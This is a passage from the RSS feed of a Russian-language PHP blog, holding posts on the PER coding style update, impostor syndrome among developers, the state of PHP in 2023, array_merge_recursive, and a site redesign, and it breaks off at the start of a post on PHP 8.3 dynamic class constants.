    string $c,
) {
    // ...
}

$arr = ['a' =&gt; 'A', 'b' =&gt; 'B', 'c' =&gt; 'C'];

$arr = [
    'a' =&gt; 'A',
    'b' =&gt; 'B',
    'c' =&gt; 'C',
];

$result = match ($a) {
    'foo' =&gt; 'Foo',
    'bar' =&gt; 'Bar',
    default =&gt; 'Baz',
};</code></pre><p>&nbsp;</p><ul><li><span style="letter-spacing: 0px; font-family: var(--bff);">обновлен раздел ключевых слова-модификаторов abstract/final</span></li></ul><pre class="line-numbers"><code class="language-php">&lt;?php

namespace Vendor\Package;

abstract class ClassName
{
    protected static readonly string $foo;

    final protected int $beep;

    abstract protected function zim();

    final public static function bar()
    {
        // method body
    }
}

readonly class ValueObject
{
    // ...
}</code></pre><p><span style="letter-spacing: 0px; font-family: var(--bff);">&nbsp;<br></span><br></p><ul><li>перефразировали «MUST… no» на «MUST NOT… any»</li><li>добавлен раздел о перечислениях</li></ul><pre class="line-numbers"><code class="language-php">enum Suit: string
{
    case Hearts = 'H';
    case Diamonds = 'D';
    case Spades = 'S';
    case Clubs = 'C';

    const Wild = self::Spades;
}</code></pre><p>&nbsp;</p><ul><li>добавлена спецификация стиля цепочки методов</li><li>добавлено руководство по стилю атрибутов&nbsp;</li></ul><pre class="line-numbers"><code class="language-php">#[Foo]
#[Bar('baz')]
class Demo
{
    #[Beep]
    private Foo $foo;

    public function __construct(
        #[Load(context: 'foo', bar: true)]
        private readonly FooService $fooService,

        #[LoadProxy(context: 'bar')]
        private readonly BarService $barService,
    ) {}

    /**
     * Sets the foo.
     */
    #[Poink('narf'), Narf('poink')]
    public function setFoo(#[Beep] Foo $new): void
    {
      // ...
    }

    #[Complex(
        prop: 'val',
        other: 5,
    )]
    #[Other, Stuff]
    #[Here]
    public function complicated(
        string $a,

        #[Decl]
        string $b,

        #[Complex(
            prop: 'val',
            other: 5,
        )]
        string $c,

        int $d,
    ): string {
        // ...
    }
}</code></pre><p> &nbsp;</p><ul><li>описание именованных аргументов</li></ul><pre class="line-numbers"><code class="language-php">somefunction($a, b: $b, c: 'c');</code></pre><p>&nbsp;</p><ul><li>уточнение правил пустых операторов</li></ul><p><br></p><p>Почитать можно на <a href="https://github.com/php-fig/per-coding-style/blob/master/spec.md" target="_blank">https://github.com/php-fig/per-coding-style/blob/master/spec.md</a></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/100</guid>
                <pubDate>2023-04-12T09:31:06+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[С праздником 404 или "синдром самозванца"!]]></title>
                <link>https://sergeymukhin.com/blog/s-prazdnikom-404</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">С праздником 404 или "синдром самозванца"!</h1><blockquote>4 апреля отмечается неофициальный профессиональный праздник - День веб-мастера.</blockquote><p>Сегодня в день веб-разработчика хочу поздравить всех с праздником!&nbsp;<span style="letter-spacing: 0px; font-family: var(--bff); font-weight: bold;">*</span><span style="letter-spacing: 0px; font-family: var(--bff);">Здесь шутка про фонтаны и разбитые о голову клавиатуры</span><span style="letter-spacing: 0px; font-family: var(--bff); font-weight: bold;">*.</span></p><p>Чем примечателен этот праздник?</p><p>А тем, что настоящие программисты не считают веб-разработчиков настоящими программистами) Вопрос в другом, считаете ли вы себя настоящим программистом или просто разработчиком веб-приложений (вопрос риторический :) ) и я просто подвожу всех к теме сегодняшнего поста - Синдром самозванца (Imposter Syndrome), бывалые разработчики/программисты уже прошли через "вот это все" и пост скорее поможет начинающим программистам пройти данный путь безболезненно, ну или хотя бы с меньшими тратами для своего психического здоровья)</p><p>Итак, погнали,&nbsp;<span style="font-weight: bold;">Синдром самозванца</span> - это внутренний психологический опыт ощущения себя фальшивым в какой-то области своей жизни, несмотря на все успехи, которых вы достигли в этой области.&nbsp;У вас может быть синдром самозванца, если вы обнаружите, что постоянно испытываете неуверенность в себе, даже в тех областях, где вы обычно преуспеваете. Синдром самозванца может ощущаться как беспокойство и нервозность и может проявляться в виде негативного внутреннего диалога. Симптомы тревоги и депрессии часто сопровождают синдром самозванца.</p><p>Среди разработчиков/айтишников/программистов данный синдром достаточно распространенное явление.&nbsp;<span style="letter-spacing: 0px; font-family: var(--bff);">По некоторым источникам, которые мне попадались, себя недооценивают более 60% активных людей.&nbsp;</span></p><h2>Типы синдрома самозванца</h2><p>Синдром самозванца можно разделить на пять (иногда в других областях выделяют и больше типов) основных типов:</p><ul><li><span style="font-weight: bold;">Перфекционист</span>&nbsp;- Этот тип синдрома самозванца включает в себя веру в то, что, если бы вы не были абсолютно совершенны, вы могли бы добиться большего. Вы чувствуете себя самозванцем, потому что ваши перфекционистские черты заставляют вас думать, что вы не так хороши, как думают другие.</li><li><span style="font-weight: bold;">Эксперт</span> - Эксперт чувствует себя самозванцем, потому что он не знает всего, что нужно знать о конкретном предмете или теме, или он не освоил каждый шаг в процессе. Поскольку им есть чему поучиться, они не чувствуют, что достигли звания "эксперта".</li><li><span style="font-weight: bold;">Природный гений</span> - При этом типе синдрома самозванца вы можете чувствовать себя "мошенником" просто потому, что не верите, что вы от природы умны или компетентны. Если у вас что-то не получается с первого раза или вам требуется больше времени, чтобы овладеть навыком, вы чувствуете себя самозванцем.</li><li><span style="font-weight: bold;">Солист</span> - Также можно почувствовать себя самозванцем, если вам пришлось просить о помощи, чтобы достичь определенного уровня или статуса. Поскольку вы не можете добраться туда самостоятельно, вы ставите под сомнение свою компетентность или способности.</li><li><span style="font-weight: bold;">Суперчеловек</span> - Этот тип синдрома самозванца включает в себя убеждение, что вы должны быть самым трудолюбивым или достичь самых высоких уровней достижений, а если вы этого не сделаете, вы "мошенник".</li></ul><h2>Характеристики синдрома самозванца</h2><p>Некоторые общие характеристики синдрома самозванца включают в себя:</p><ul><li>Неспособность реально оценить свою компетентность и навыки</li><li>Приписывание успеха внешним факторам</li><li>Недовольство своим выступлением</li><li>Страх, что вы не оправдаете ожиданий</li><li>Сверхдостижение&nbsp;</li><li>Саботирование собственного успеха</li><li>Неуверенность в себе</li><li>Постановка очень сложных целей и чувство разочарования, когда вы их не достигаете</li></ul><h2>Влияние синдрома самозванца</h2><p>У некоторых людей синдром самозванца может подпитывать мотивацию к достижению, но обычно это происходит за счет постоянного беспокойства. Вы можете чрезмерно готовиться или работать намного усерднее, чем это необходимо, например, чтобы "убедиться", что никто не узнает, что вы "мошенник". В конце концов тревога усугубляется и может привести к депрессии.</p><p><span style="letter-spacing: 0px; font-family: var(--bff);">Это создает порочный круг, в котором вы думаете, что единственная причина, по которой вы сегодня "выжили", заключалась в том, что вы не спали всю ночь.&nbsp;</span><span style="font-family: var(--bff); letter-spacing: 0px;">Проблема с синдромом самозванца заключается в том, что опыт преуспевания в чем-то не меняет ваших убеждений. В голове до сих пор крутится мысль: "Что дает мне право быть здесь?" Чем больше вы достигаете, тем больше вы просто чувствуете себя "мошенником". Как будто вы не можете усвоить свой опыт успеха.</span></p><p><span style="letter-spacing: 0px; font-family: var(--bff);">Это имеет смысл с точки зрения социальной тревожности, если вы получили раннюю обратную связь о том, что вы не были хороши в социальных ситуациях или ситуациях, связанных с производительностью. Ваши основные убеждения о себе настолько сильны, что не меняются, даже когда есть доказательства обратного. Мыслительный процесс заключается в том, что если у вас все хорошо, это должно быть результатом удачи.</span><br></p><blockquote><p>Люди, страдающие синдромом самозванца, как правило, не говорят ни с кем о своих чувствах и борются молча, как и люди с социальным тревожным расстройством.</p></blockquote><h2>Признаки синдрома самозванца</h2><p>Что интересно первоначально считалось, что понятие синдрома самозванца применимо в основном к успешным женщинам. С тех пор он был признан более широко распространенным явлением. Синдром самозванца может затронуть любого - независимо от его социального статуса, опыта работы, уровня навыков или степени знаний.</p><p>Хотя синдром самозванца не является признанным расстройством психического здоровья, он довольно распространен.&nbsp;<span style="letter-spacing: 0px; font-family: var(--bff);">Если вам интересно, может ли у вас быть синдром самозванца, задайте себе следующие вопросы:</span></p><ul><li>Вы мучаетесь даже из-за самых мелких ошибок или недостатков в своей работе?</li><li>Вы приписываете свой успех удаче или внешним факторам?</li><li>Вы чувствительны даже к конструктивной критике?</li><li>Вы чувствуете, что вас неизбежно разоблачат как "мошенника"?</li><li>Вы преуменьшаете свой собственный опыт даже в тех областях, где вы действительно более опытны, чем другие?</li></ul><h2>Как справиться с синдромом самозванца</h2><p>Чтобы избавиться от синдрома самозванца, полезно начать задавать себе несколько трудных вопросов. Вот некоторые из них:</p><ul><li>Какие основные убеждения я придерживаюсь о себе?</li><li>Верю ли я, что достоин быть таким какой я есть?</li><li>Должен ли я быть совершеннее, чтобы другие одобряли меня?</li></ul><p>Чтобы избавиться от этих чувств, вам нужно смириться с некоторыми глубоко укоренившимися убеждениями о себе. Это упражнение может быть трудным, потому что вы можете даже не осознавать, что держите их, но вот несколько приемов, которые вы можете использовать:</p><ul><li><span style="font-weight: bold;">Поделитесь своими чувствами</span>. Говорите с другими людьми о том, что вы чувствуете. Иррациональные убеждения, как правило, тлеют, когда их прячут и о них не говорят.</li><li><span style="font-weight: bold;">Сосредоточьтесь на других</span>. Хотя это может показаться нелогичным, попробуйте помочь другим в той же ситуации, что и вы. Если вы видите кого-то, кто кажется неуклюжим или одиноким, задайте ему вопрос, чтобы привлечь его к группе. Практикуя свои навыки, вы обретете уверенность в своих силах.</li><li><span style="font-weight: bold;">Оцените свои способности</span>. Если у вас есть давние убеждения о своей некомпетентности в социальных ситуациях и ситуациях, связанных с производительностью, реалистично оцените свои способности. Запишите свои достижения и то, в чем вы хороши, а затем сравните их со своей самооценкой.</li><li><span style="font-weight: bold;">Делайте "детские" шаги</span>. Не сосредотачивайтесь на том, чтобы делать что-то идеально, ведь все ошибаются,&nbsp;и нужно дать себе право на ошибку, делайте все достаточно хорошо и вознаграждайте себя за действия.</li><li><span style="font-weight: bold;">Сомневайтесь в своих мыслях</span>. Когда вы начнете оценивать свои способности и делать первые шаги, спросите себя, рациональны ли ваши мысли. Есть ли смысл полагать, что вы "мошенник", учитывая все, что вы знаете?</li><li><span style="font-weight: bold;">Перестаньте сравнивать</span>. Каждый раз, когда вы сравниваете себя с другими, вы находите в себе какую-то ошибку, которая подпитывает чувство&nbsp;<span style="background-color: rgb(255, 255, 255);">неполноценности</span>.</li><li><span style="font-weight: bold;">Используйте социальные сети умеренно</span>. Мы знаем, что чрезмерное использование социальных сетей может быть связано с чувством неполноценности. Если вы попытаетесь изобразить в социальных сетях образ, который не соответствует тому, кто вы есть на самом деле, или которого невозможно достичь, это только усугубит ваше ощущение "мошенника".</li><li><span style="font-weight: bold;">Не позволяйте ничему удерживать вас</span>. Неважно, насколько вы чувствуете себя "мошенником" или "обманщиком", не позволяйте этому мешать вам добиваться своих целей. Продолжайте идти и не дайте себя остановить.</li></ul><h2>В заключении</h2><p>Помните, что если вы чувствуете себя самозванцем, это означает, что вы добились определенного успеха в своей области, который вы приписываете удаче. Вместо этого попытайтесь превратить это чувство в чувство благодарности. Посмотрите на то, чего вы достигли в своей жизни, и будьте благодарны за свои достижения.</p><p><br></p><p><span style="font-weight: bold;">P.S</span>. И да, кстати где-то примерно в этих числах 5 лет назад был запущен этот сайт, так что сегодня можно отметить еще и 5-тивщину блога&nbsp;<span style="background-color: rgb(255, 255, 255); color: rgb(77, 81, 86); font-family: arial, sans-serif; font-size: 14px; letter-spacing: 0px;">🎂</span></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/99</guid>
                <pubDate>2023-04-04T06:08:30+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[PHP в 2023 году]]></title>
                <link>https://sergeymukhin.com/blog/php-v-2023-godu</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">PHP в 2023 году</h1><blockquote>Ежегодный пост о том, стоит ли изучать PHP в новом 2023 году.</blockquote><p>Появившись в середине 90-х как скромный личный проект, PHP превратился в один из самых популярных языков для веб-разработки, на котором пишут от сайтов блогов до корпоративных приложений.</p><p>Это язык, который претерпел поразительную трансформацию в течении почти трех десятилетий. Даже за последние 10 лет PHP изменился так, как мы и представить себе не могли.</p><p>Каждый год выходит этот пост с некоторым взглядом назад и вперед. Итак приступим!</p><h2>Фонд PHP&nbsp; &nbsp;</h2><p>Начнем пожалуй с PHP Foundation, прошло чуть более года с момента создания фонда, на текущий момент коллектив состоит из 10 волонтеров и 6 разработчиков, которым платят за работу над языком PHP.</p><p>В <a href="https://sergeymukhin.com/blog/php-v-2022-godu" target="_blank">прошлом году</a> Никита Попов ушел в отставку и все были немного обеспокоены этим событием, т.к. он проделал огромную работу над PHP 8.x версии. Ставки были что 2022 год не будет каким-то умопомрачительным для PHP, а скорее просто работой над повышением стабильности. Что ни есть плохо на самом деле.</p><p>И можно сказать, что Фонд справился, недавно они опубликовали <a href="https://thephp.foundation/blog/2022/11/22/transparency-and-impact-report-2022/" target="_blank">свой отчет за 2022 год</a>&nbsp;и он показывает довольно впечатляющие цифры:</p><ul><li>всего в 2022 году было собрано $580 000</li><li>фонд платит 6 разработчикам за работу над PHP</li><li>участники фонда сделали почти половину всех коммитов в <a href="https://github.com/php/php-src" target="_blank">php-src</a></li><li>они создали 8 новых RFC и только 1 из них был не реализован</li></ul><p>Можно твердо делать выводы, что&nbsp;<span style="background-color: rgb(255, 255, 255);">PHP Foundation - одно из лучших событий, произошедших с PHP за долгое время, и можно надеяться что в 2023 году они смогут улучшить язык еще больше. Если вы крупная коммерческая компания, использующая PHP в своей работе могу предложить вам подумать о <a href="https://thephp.foundation/" target="_blank">пожертвовании в фонд</a>.</span></p><h2><span style="letter-spacing: 0px; font-family: var(--bff);">PHP 8.2</span></h2><p><span style="letter-spacing: 0px; font-family: var(--bff);">Далее перейдем к последней версии языка на сегодняшний момент -&nbsp;<a href="https://sergeymukhin.com/blog/chto-novogo-v-php-82" target="_blank">PHP 8.2</a>. Хоть он и является наименее запоминающимся релизом, но тем не менее имеет множество приятных функций, напомню про пару интересных штук:</span></p><p><a href="https://sergeymukhin.com/blog/php-82-klassy-tolko-dlia-cteniia-readonly-classes" target="_blank">Классы только для чтения</a>:<span style="letter-spacing: 0px; font-family: var(--bff);">&nbsp;</span></p><pre class="line-numbers"><code class="language-php">readonly class ItemData
{
    public function __construct(
        public string $title,
        public string $author,
        public string $body,
        public DateTimeImmutable $createdAt,
        public PostState $state,
    ) {}
}</code></pre><p>Совершенно новый рандомизатор:<br></p><pre class="line-numbers"><code class="language-php">$rng = $isProduction
    ? new Random\Engine\Secure()
    : new Random\Engine\Mt19937(1234);
 
$randomizer = new Random\Randomizer($rng);

$randomizer-&gt;shuffleString('foobar');</code></pre><p><a href="https://sergeymukhin.com/blog/php-82-true-false-i-null-kak-samostoiatelnye-tipy" target="_blank">Самостоятельные типы null, true и false</a>:</p><pre class="line-numbers"><code class="language-php">function false(): false
{
    return false;
}</code></pre><p>Типы дизъюнктивных нормальных форм:&nbsp;</p><pre class="line-numbers"><code class="language-php">function generateSlug((HasTitle&amp;HasId)|null $post) 
{ /* … */ }</code></pre><p>Отредактированные параметры:</p><pre class="line-numbers"><code class="language-php">function connect(
    string $user,
    #[\SensitiveParameter] string $password
) {
    // …
}</code></pre><p>и др., более подробно можно почитать в посте про <a href="https://sergeymukhin.com/blog/chto-novogo-v-php-82" target="_blank">PHP 8.2</a>.&nbsp;</p><h2>Экосистема</h2><p>Стоит упомянуть что менеджер пакетов&nbsp;<span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff);">&nbsp;</span><span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff);">PHP -&nbsp;</span><span style="letter-spacing: 0px; font-family: var(--bff);">Packagist сейчас содержит 361 000 пакетов, что на 60 000 больше, чем в прошлом году:</span></p><p><img src="/files/blog/2023/php-v-2023-godu-It4Y8S.png"><span style="letter-spacing: 0px; font-family: var(--bff);"><br></span></p><p>В прошлом году общее количество установок пакетов преодолело отметку в более чем 50 миллиардов установок, но на текущий момент их более 74 миллиардов! То есть за год было сделано более 24 миллиардов установок, по 2 миллиарда в месяц! Это впечатляющие цифры! Все этого говорит о том, что экосистема PHP сильно растет.</p><h2>Статистика версий</h2><p>Дважды в год я публикую свой пост <a href="https://sergeymukhin.com/blog/statistika-versii-php-vypusk-20231" target="_blank">со статистикой версий</a>. В этих постах я анализирую использование версии PHP в сообществе на основе данных Packagist. Я хотел бы снова поделиться графиком из этого поста: временная шкала между 2013 годом и настоящим, показывающая историю использования каждой версии</p><p><img src="/files/blog/2023/php-v-2023-godu-hivxO4.png"></p><p>Можно увидеть, что несмотря на то, что использование PHP 8.* стремительно растет, большое количество людей по-прежнему используют более старые, медленные и небезопасные версии PHP . Я надеюсь, что в 2023 году число старых версий будет снижаться еще быстрее.</p><p>Так же говоря об апгрейдах, хочу особо отметить один инструмент: <a href="https://github.com/rectorphp/rector" target="_blank">Rector</a>. Rector — это бесплатный инструмент автоматизации, который помогает обновить кодовую базу PHP. Все, что от вас требуется - это небольшая настройка, и Rector сделает за вас огромный объем работы.</p><p>Я твердо верю, что "язык программирования" - это гораздо больше, чем компилятор: именно инструменты и экосистема играют равную роль в определении этого "языка программирования" и помогают ему развиваться, и я действительно думаю, что многие люди, проекты и компании выиграют, если они изучат использование инструментов автоматизации, таких как Rector.</p><h2>Фреймворки</h2><p>Поскольку мы заговорили об экосистеме, нельзя не упомянуть два крупнейших PHP-фреймворка на сегодняшний день: <a href="https://laravel.com/" target="_blank">Laravel</a> и <a href="https://symfony.com/" target="_blank">Symfony</a>. Хоть ваш покорный слуга любит и использует в большинстве своих проектов более специфический фреймворк <a href="https://phalcon.io/" target="_blank">Phalcon</a>, я не могу не отдать должное тому как за последние годы значительно вырос&nbsp;<span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff);">Laravel</span><span style="letter-spacing: 0px; font-family: var(--bff);">.&nbsp;</span></p><p><span style="letter-spacing: 0px; font-family: var(--bff);">Над фреймворком&nbsp;</span><span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff);">и его экосистемой</span><span style="letter-spacing: 0px; font-family: var(--bff);">&nbsp;работают <a href="https://laravel.com/team" target="_blank">8 штатных разработчиков</a>. Кроме того опрос среди&nbsp;</span><span style="letter-spacing: 0px; font-family: var(--bff);">разработчиков JetBrains сообщает, что 67% PHP-разработчиков работают с Laravel.</span></p><p>Хотя Symfony как фреймворк может быть менее популярным в наши дни по сравнению с Laravel, он по-прежнему остается одним из самых зрелых и стабильных фреймворков в сообществе PHP. Он чаще используется для разработки корпоративных приложений, но его отдельные компоненты популярны во всей экосистеме PHP - у Laravel также есть несколько зависимостей от компонентов Symfony. Неудивительно, что несколько пакетов Symfony попали в <a href="https://packagist.org/explore/popular" target="_blank">список лучших пакетов Packagist</a>.</p><p>И как уже упомянул выше мой любимый фреймворк Phalcon так же не отстает в развитии, недавно была выпущена <a href="https://github.com/phalcon/cphalcon" target="_blank">поддержка PHP 8.2</a>, плюс в релиз вышел <a href="https://github.com/phalcon/bridge-swoole" target="_blank">пакет мост</a> для соединения фреймворка и высокопроизводительного сервера&nbsp;<a href="https://www.php.net/manual/ru/book.swoole.php" target="_blank">Swoole</a>.</p><p>Фреймворк не так популярен как вышеназванные собратья, но является одним из самым производительным PHP-фреймворком на сегодняшний день, поскольку поставляется в виде Cи расширения PHP.</p><p>Так же не стоит забывать что выбор PHP-фреймворков достаточно богат, например по <a href="https://phpcommunity.ru/2022-php" target="_blank">итогам статистики phpcommunity.ru</a> использование фреймворков в ru сообществе:&nbsp;</p><p><img src="/files/blog/2023/php-v-2023-godu-9sOK8u.png"></p><h2>CMS</h2><p>Конечно же нельзя не сказать про популярные CMS, такие как&nbsp;<span style="background-color: rgb(255, 255, 255);">WordPress</span>, Joomla и пр. Буду честен у меня не такие теплые чувства к ним, да и ненависти какой-то нет, для своих задач они вполне нормальны для использования. Их легко установить и использовать. Но иногда отсутствие поддержки современных версий бросает тень на все PHP сообщество, на данный момент тот же&nbsp;<span style="background-color: rgb(255, 255, 255);">WordPress</span>&nbsp;поддерживает версии PHP 8 в бета режиме.&nbsp;&nbsp;</p><p>Конечно, есть причины, по которым новые версии PHP должным образом не поддерживаются популярными CMS. Вам решать, хорошие они или нет. Мое личное мнение заключается в том, что решение придерживаться обратной совместимости, как это делает WordPress, в основном связано с бизнесом: большая часть WordPress является коммерческой частью, и большая часть их клиентской базы использует старые версии PHP. Это порочный круг, в котором обе стороны сдерживают друг друга и, соответственно, сдерживают PHP-сообщество в целом.</p><p>С другой стороны, мы должны признать тот факт, что не многие программные проекты могут оставаться такими же популярными и актуальными, как WordPress спустя почти 20 лет, так что, может быть, их стратегия обратной совместимости является правильной?)</p><h2>Поддержка транспиляции</h2><p>Ну и напоследок можно пофантазировать о будущем развитии языка, например, многие функции, такие как&nbsp;<a href="https://sergeymukhin.com/blog/dzeneriki-v-php" target="_blank">дженерики</a>, не могут быть реализованы в PHP, пока он поддерживает runtime-проверки типов, есть предложения сделать некое надмножество PHP с поддержкой IDE и статического анализатора. То есть этакой аналог Typescript. Вы могли слышать об этом, например тот же&nbsp;<a href="https://pxplang.org/" target="_blank">PXP</a>,&nbsp;который может пойти в интересном для разработчиков направлении.</p><p><br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/89</guid>
                <pubDate>2023-03-29T12:01:43+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Функция array_merge_recursive в PHP]]></title>
                <link>https://sergeymukhin.com/blog/funkciia-array-merge-recursive-v-php</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Функция array_merge_recursive в PHP</h1><blockquote>Давайте поговорим о такой интересной функции как array_merge_recursive и пообсуждаем что же она делает</blockquote><p><span style="font-weight: 400;">Если поднять вопрос об интересных и не совсем сходу понятных функциях, то я бы назвал </span>array_merge_recursive<span style="font-weight: 400;">.&nbsp;</span></p><p><span style="font-weight: 400;">На первый взгляд кажется что функция соединяет вроде бы как многомерные массивы, ведь для обычных уже есть&nbsp; </span><span style="background-color: rgb(255, 255, 255); letter-spacing: 0px;">array_merge <span style="font-weight: normal;">или оператор</span> + <span style="font-weight: normal;">или оператор spread(...).</span></span></p><p><span style="font-weight: 400; letter-spacing: 0px;">Но если вы хотите&nbsp;</span><span style="background-color: rgb(255, 255, 255); font-weight: 400; letter-spacing: 0px;">все же</span><span style="background-color: rgb(255, 255, 255); font-weight: 400; letter-spacing: 0px;">&nbsp;</span><span style="letter-spacing: 0px; font-weight: 400;">соединить два многомерных массива в PHP, вы все равно должны использовать </span><span style="letter-spacing: 0px;">array_merge</span><span style="letter-spacing: 0px; font-weight: 400;">, а не </span><span style="letter-spacing: 0px; ">array_merge_recursive</span><span style="letter-spacing: 0px; font-weight: 400;">. Почему?&nbsp;</span></p><p><span style="font-weight: 400;">Давайте сначала поймем, что </span>array_merge_recursive<span style="font-weight: 400;"> делает, например, возьмем эти два массива:</span></p><pre class="line-numbers"><code class="language-php">$first = [
    'key' =&gt; 'какое-то значение'
];

$second = [
    'key' =&gt; 'другое значение'
];</code></pre><p><span style="font-weight: 400;"><br></span></p><pre class="line-numbers"><code class="language-php">array_merge_recursive($first, $second);

// [
//     'key' =&gt; [
//         'какое-то значение',
//         'другое значение',
//     ],
// ]</code></pre><p><span style="font-weight: 400;">Вместо того, чтобы переопределить исходное значение под ключом&nbsp;</span><span style="background-color: rgb(255, 255, 255); font-weight: 400; letter-spacing: 0px;">key как это бы сделал </span><span style="background-color: rgb(255, 255, 255); letter-spacing: 0px;">array_merge <span style="font-weight: normal;">и</span> (...) <span style="font-weight: normal;">или пропустил бы (</span>+<span style="font-weight: normal;">)</span>&nbsp; <span style="font-weight: normal;">-</span>&nbsp;</span><span style="letter-spacing: 0px; ">array_merge_recursive</span><span style="font-weight: 400; letter-spacing: 0px; "> создал массив с исходным и новым значением в нем.&nbsp;&nbsp;</span></p><p><span style="letter-spacing: 0px; font-weight: normal;">Хотя в этом простом примере это выглядит странно, на самом деле это более полезно в тех случаях, когда одно из значений уже является массивом, и вы хотите объединить другой элемент в этом массиве, а не переопределять его:</span></p><pre class="line-numbers"><code class="language-php">$first = [
    'key' =&gt; ['какое-то значение']
];

$second = [
    'key' =&gt; 'другое значение'
];</code></pre><p><span style="font-weight: 400;">В этом случае </span>array_merge_recursive<span style="font-weight: 400;">&nbsp;возьмет значение из </span>$second<span style="font-weight: 400;"> массива и добавляет его к значению в </span>$first<span style="font-weight: 400;"> массиве, который сам уже был массивом:</span></p><pre class="line-numbers"><code class="language-php">array_merge_recursive($first, $second);

// [
//     'key' =&gt; [
//         'какое-то значение',
//         'другое значение',
//     ],
// ]</code></pre><p><span style="font-weight: 400;">Самое важное, что ключ должен иметь&nbsp;</span><span style="background-color: rgb(255, 255, 255); font-weight: 400; letter-spacing: 0px;">одинаковые&nbsp;</span><span style="letter-spacing: 0px; font-weight: 400;">строковые ключи,&nbsp;</span><span style="letter-spacing: 0px; font-weight: 400;">если массивы имеют одинаковые числовые ключи, каждое последующее значение не заменит исходное значение, а будет добавлено в конец массива. Рассмотрим более сложный пример:</span></p><pre class="line-numbers"><code class="language-php">$first = [
    42,
    'color' =&gt; ['green', 'red', 'blue']
];

$second = [
    42,
    'color' =&gt; 'black'
];

$third = [
    42,
    'color' =&gt; [
        'black' =&gt; 1
    ]
];

$fourth = [
    'color' =&gt; [
        'black' =&gt; [2,3,4]
    ],
    42
];

array_merge_recursive($first, $second, $third, $fourth);

//Array
//(
//    [0] =&gt; 42
//    [color] =&gt; Array
//        (
//            [0] =&gt; green
//            [1] =&gt; red
//            [2] =&gt; blue
//            [3] =&gt; black
//            [black] =&gt; Array
//                (
//                    [0] =&gt; 1
//                    [1] =&gt; 2
//                    [2] =&gt; 3
//                    [3] =&gt; 4
//                )
//
//        )
//
//    [1] =&gt; 42
//    [2] =&gt; 42
//    [3] =&gt; 42
//)</code></pre><p><span style="letter-spacing: 0px;  font-weight: normal;">&nbsp;</span></p><p><span style="letter-spacing: 0px;  font-weight: normal;">Как можно заметить значения </span><span style="letter-spacing: 0px; ">42 </span><span style="letter-spacing: 0px;  font-weight: normal;">просто добавляется в массив каждый раз, как встречается, ключ </span><span style="letter-spacing: 0px; ">color </span><span style="letter-spacing: 0px;  font-weight: 400;">объединил значения цветов, а </span><span style="letter-spacing: 0px; ">black </span><span style="letter-spacing: 0px;  font-weight: normal;">так же рекурсивно собрал все значения.</span></p><p><span style="letter-spacing: 0px;  font-weight: normal;">А какие функции в PHP вы бы назвали интересными?<br></span><span style="letter-spacing: 0px; font-size: 1em; color: rgb(248, 248, 242); font-family: Consolas, Monaco, &quot;Andale Mono&quot;, &quot;Ubuntu Mono&quot;, monospace; white-space: pre; word-spacing: normal;">cddolordff</span><br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/87</guid>
                <pubDate>2023-02-10T11:16:24+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Новый дизайн сайта]]></title>
                <link>https://sergeymukhin.com/blog/novyi-dizain-saita</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Новый дизайн сайта</h1><blockquote>А у вас бывает такое внутреннее жгучее желание чего-то нового?) Вот и я спустя почти 5 лет работы сайта решил поменять его дизайн</blockquote><p>А так как хотелось чего-то кардинально другого, то и дизайн сменился с минимально-строго на более веселый.</p><p>Дополнительным плюсом данного редизайна стало "облегчение" js скриптов и css стилей, что дало больше "попугаев" в том же&nbsp;<a href="https://pagespeed.web.dev/report?url=https%3A%2F%2Fsergeymukhin.com%2F&form_factor=desktop" target="_blank" style="background-color: rgb(255, 255, 255); transition-property: all;">Google Page Speed Insights</a>.&nbsp;<br></p><p>Ладно буду честен до конца, обновление дизайна было обусловлено не только порывом души, но и практической стороной вопроса о том, как я планирую дальше развивать блог, публиковать статьи, пока это конечно в планах, но поделюсь ими с вами.&nbsp;</p><p>Помимо статей хочу начать публиковать видео ролики, возможно подкасты (хотя конечно как большинство людей, не очень люблю свой голос) возможно еще какой-то вид преподнесения информации. Дальше будет видно.</p><p>Ну и конечно, чтобы было хоть какое-обновление моей "сапожницы" без сапог, у меня, наконец, дошли руки до создания функционала комментирования. Ниже статьи вы можете заметить что-то такое яркое и красиво для того, чтобы оставить свой комментарий, в частности можете начать с этой статьи и высказать свое мнение стоило ли менять дизайн или "Дуров верни стену обратно".</p><p style="text-align: center; "><img src="/files/blog/2023/novyi-dizain-saita-mpHn6q.jpeg"></p><p style="text-align: left;">&nbsp;И еще небольшое дополнение, по просьбе пользователей был создан канал в телеграме <a href="https://t.me/flyphp" target="_blank">The Fly's PHP</a> - Делаем из Мухи Слона!&nbsp;, так что, кто проводит время в данном мессенджере - Welcome to our Channel!</p><p style="text-align: left;">&nbsp;</p><p style="text-align: center; "><br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/84</guid>
                <pubDate>2023-02-09T09:47:47+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[PHP 8.3: Динамическое получение констант класса и Enum]]></title>
                <link>https://sergeymukhin.com/blog/php-83-dinamiceskoe-poluchenie-konstant-klassa-i-enum</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">PHP 8.3: Динамическое получение констант класса и Enum</h1><blockquote>PHP 8.3 и более поздние версии получат поддержку получение констант класса и элементов Enum через переменную с названием константы</blockquote><p>Итак, PHP 8.3 позволит написать вот такой код:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Invoice {
    public const STATUS_COMPLETE = "complete";
}

$constName = 'STATUS_COMPLETE';

